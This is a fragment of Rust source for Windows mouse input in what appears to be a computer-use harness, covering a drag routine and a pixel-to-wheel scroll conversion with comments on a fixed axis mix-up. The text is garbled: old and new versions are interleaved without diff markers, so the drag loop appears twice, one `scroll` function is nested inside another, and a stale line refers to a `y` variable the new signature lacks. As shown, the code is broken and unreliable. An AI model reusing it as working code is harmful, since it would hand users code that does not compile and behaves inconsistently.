mouse(nx, ny, 0, down);
}
for (x, y) in points.iter().skip(1) {
let (nx, ny) = norm(*x, *y);
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
std::thread::sleep(std::time::Duration::from_millis(20));
}
if let Some((x, y)) = points.last() {
let (nx, ny) = norm(*x, *y);
mouse(nx, ny, 0, up);
}
holding(flags, || {
if let Some((x, y)) = points.first() {
let (nx, ny) = norm(*x, *y);
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
mouse(nx, ny, 0, down);
}
for (x, y) in points.iter().skip(1) {
let (nx, ny) = norm(*x, *y);
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
std::thread::sleep(std::time::Duration::from_millis(20));
}
if let Some((x, y)) = points.last() {
let (nx, ny) = norm(*x, *y);
mouse(nx, ny, 0, up);
}
});
}
pub fn scroll(at: Option<(f64, f64)>, x: i32, y: i32, flags: u64) {
let _ = (x, flags);
/// Wheel units for a scroll the harness gives in pixels (crate::computer::scroll_pixels:
/// SCROLL_PIXELS_PER_STEP a step): one notch of the wheel (120) a step.
fn wheel(pixels: i32) -> u32 {
(pixels / crate::computer::SCROLL_PIXELS_PER_STEP * 120) as u32
}
/// `dy`, `dx`: the harness's (vertical, horizontal) pixels, up and left positive — the order
/// every other system's scroll takes them in. (They were read the other way round, and the
/// vertical one thrown away: up and down did nothing, left and right scrolled up and down.)
pub fn scroll(at: Option<(f64, f64)>, dy: i32, dx: i32, flags: u64) {
if let Some((px, py)) = at {
move_to(px, py);
}
// Windows wheels by 120ths of a line; the harness counts lines.
mouse(0, 0, ((y * 120) as i32) as u32, MOUSEEVENTF_WHEEL);
holding(flags, || {
// The wheel turns away from the person (positive) to go up, like the harness's dy;
// the sideways wheel is positive to the right, the harness's dx to the left.
if dy != 0 {
mouse(0, 0, wheel(dy), MOUSEEVENTF_WHEEL);
}
if dx != 0 {
mouse(0, 0, wheel(-dx), MOUSEEVENTF_HWHEEL);
}
});
}
pub fn type_text(text: &str) {